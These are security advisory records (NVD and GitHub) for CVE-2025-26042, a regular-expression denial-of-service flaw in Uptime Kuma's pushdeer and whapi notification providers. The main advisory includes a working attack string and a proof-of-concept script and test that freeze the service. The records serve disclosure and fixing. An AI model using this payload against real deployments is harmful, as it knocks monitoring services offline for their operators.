{
  "affected": [
    {
      "affectedData": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "source": "cve@mitre.org"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Uptime Kuma \u003e== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack."
    },
    {
      "lang": "es",
      "value": "Uptime Kuma \u0026gt;== 1.23.0 presenta una vulnerabilidad de ReDoS, espec\u00edficamente cuando un administrador crea una notificaci\u00f3n a trav\u00e9s del servicio web. Si se proporciona una cadena, se desencadena un retroceso catastr\u00f3fico en la expresi\u00f3n regular, lo que provoca un ataque de ReDoS."
    }
  ],
  "id": "CVE-2025-26042",
  "lastModified": "2026-06-17T09:01:26.100",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 6.0,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 0.5,
        "impactScore": 5.5,
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-26042",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-03-19T15:01:00.614153Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-03-17T19:15:26.587",
  "references": [
    {
      "source": "cve@mitre.org",
      "url": "https://github.com/louislam/uptime-kuma/commit/7a9191761dbef6551c2a0aa6eed5f693ba48d688"
    },
    {
      "source": "cve@mitre.org",
      "url": "https://github.com/louislam/uptime-kuma/issues/5574"
    },
    {
      "source": "cve@mitre.org",
      "url": "https://github.com/louislam/uptime-kuma/pull/5573"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1333"
        }
      ],
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "uptime-kuma"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.23.0"
            },
            {
              "last_affected": "2.0.0-dev.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-17T21:56:00Z",
    "nvd_published_at": "2025-03-17T19:15:26Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hx7h-9vf7-5xhg. This link is maintained to preserve external references.\n\n### Original Description\nUptime Kuma \u003e== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.",
  "id": "GHSA-3rw8-4xrq-3f7p",
  "modified": "2025-08-07T14:02:08Z",
  "published": "2025-03-17T21:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26042"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/issues/5574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/pull/5573"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/commit/7a9191761dbef6551c2a0aa6eed5f693ba48d688"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/louislam/uptime-kuma"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Uptime Kuma ReDoS vulnerability",
  "withdrawn": "2025-08-07T14:02:08Z"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "uptime-kuma"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "last_affected": "1.23.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "uptime-kuma"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-beta.0"
            },
            {
              "fixed": "2.0.0-beta.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-26042"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-31T16:12:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThere is a `ReDoS vulnerability risk` in the system, specifically when administrators create `notification` through the web service(`pushdeer` and `whapi`). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.\n\n### Details\nThe regular expression` \\/*$\\` is used to match zero or more slashes `/` at the end of a URL. When a malicious attack string appends a large number of slashes `/` and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.\n```js\n.replace(/\\/*$/, \"\")\n```\nFor the regular expression `/\\/*$/`, an attack string like \n```javascript\n\"https://e\" + \"/\".repeat(100000) + \"@\" \n```\ncan trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.\n\u003e When entered from the web interface, the attack string needs to expand `\"/\".repeat(100000)` and be input directly, such as `https://e/////////..//@`. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.\n\n### PoC\nThe poc.js is in: \nhttps://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0\nThe time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:\n```javascript\nconst semver = require(\"semver\");\nlet test;\nconst nodeVersion = process.versions.node;\nif (semver.satisfies(nodeVersion, \"\u003e= 18\")) {\n    test = require(\"node:test\");\n} else {\n    test = require(\"test\");\n}\nconst PushDeer = require(\"../../server/notification-providers/pushdeer.js\");\n\nconst assert = require(\"node:assert\");\n\ntest(\"Test ReDos - attack string\", async (t) =\u003e {\n    const pushDeer = new PushDeer();\n    const notification = {\n        pushdeerServer: \"https://e\" + \"/\".repeat(100000) + \"@\",\n    };\n    const msg = \"Test Attacking\";\n    const startTime = performance.now();\n    try {\n        pushDeer.send(notification, msg)\n    } catch (error) {\n    // pass\n    }\n    const endTime = performance.now();\n    const elapsedTime = endTime - startTime;\n    const reDosThreshold = 2000;\n    assert(elapsedTime \u003c= reDosThreshold, `\ud83d\udea8 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);\n});\n```\n\u003e Move the `test-uptime-calculator.js` file to the `./uptime-kuma/test/backend-test` folder and run `npm run test-backend` to execute the backend tests.\n\nTrigger conditions for whapi jams, In the send function within the `uptime-kuma\\server\\notification-providers\\pushdeer.js` file:\nhttps://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28\n```js\n// The attack string \"httpS://example\" + \"/\".repeat(100000) + \"@\"\n// poc.js\n// Import the target file\nconst Whapi = require(\"./uptime-kuma/server/notification-providers/whapi\");\n\n// Create an instance of Whapi\nconst whapi = new Whapi();\n\nconst notification = {\n    whapiApiUrl: \"https://e\" + \"/\".repeat(100000) + \"@\",\n};\n// console.log(`${notification.whapiApiUrl}`);\n// Define the message to be sent\nconst msg = \"Test Attacking\";\n\n// Call the send method and handle exceptions\nwhapi.send(notification, msg)\n\n// 1-5 are the original installation methods for the project\n// 6-8 are attack methods\n// ---\n// 1.run `git clone https://github.com/louislam/uptime-kuma.git`\n// 2.run `cd uptime-kuma`\n// 3.run `npm run setup`\n// 4.run `npm install pm2 -g \u0026\u0026 pm2 install pm2-logrotate`\n// 5.run `pm2 start server/server.js --name uptime-kuma`\n// ---\n// 6.Run npm install in the root directory of the same level as `README.md`\n// 7.Move `poc.js` to the root directory of the same level as `README.md`\n// 8.and then run `node poc.js`\n```\n\nAfter running, a noticeable lag can be observed, with the regular expression matching time increasing from a few milliseconds to over 2000 milliseconds.\n\u003cimg width=\"760\" alt=\"redos\" src=\"https://github.com/user-attachments/assets/98f18fee-7555-410e-98c8-763906843812\" /\u003e\n\nYou can also perform this attack on the web interface. By timing the operation, it can be observed that the lag still occurs. The key to the attack string is appending a large number of `/` to the URL, followed by a `non-/` character at the end, entered directly.\n\n\u003cimg width=\"1280\" alt=\"1\" src=\"https://github.com/user-attachments/assets/61945200-4397-4933-9170-2a5517613408\" /\u003e\n\u003cimg width=\"1280\" alt=\"webserver\" src=\"https://github.com/user-attachments/assets/c0d7e952-0ec1-4c54-ba31-8b7144c04669\" /\u003e\n\n### Impact\n**What kind of vulnerability is it?**\n\nThis is a `Regular Expression Denial of Service (ReDoS)` vulnerability. ReDoS exploits poorly designed regular expressions that can lead to excessive backtracking under certain input conditions, causing the affected application to consume high CPU and memory resources. This can result in `significant performance degradation or complete service unavailability`, especially when processing specially crafted attack strings.\n\n**Who is impacted?**\n1. **Uptime Kuma users**:\nAny users or administrators running the Uptime Kuma project are potentially affected, especially if they allow untrusted input through the web interface or notification services like `pushdeer.js` and `whapi.js`. Attackers can exploit this vulnerability by injecting crafted strings into the input fields.\n\n2. **Web services and hosting providers**:\nIf Uptime Kuma is deployed in a production environment, the vulnerability could impact hosting providers or servers running the application, leading to `downtime`, `degraded performance`, or `resource exhaustion`.\n\n### Solution\n@louislam I have provided a solution for you to check:https://github.com/louislam/uptime-kuma/pull/5573",
  "id": "GHSA-hx7h-9vf7-5xhg",
  "modified": "2025-08-07T14:02:17Z",
  "published": "2025-03-31T16:12:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-hx7h-9vf7-5xhg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26042"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/issues/5574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/pull/5573"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/commit/7a9191761dbef6551c2a0aa6eed5f693ba48d688"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/louislam/uptime-kuma"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:H/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Uptime Kuma\u0027s Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
}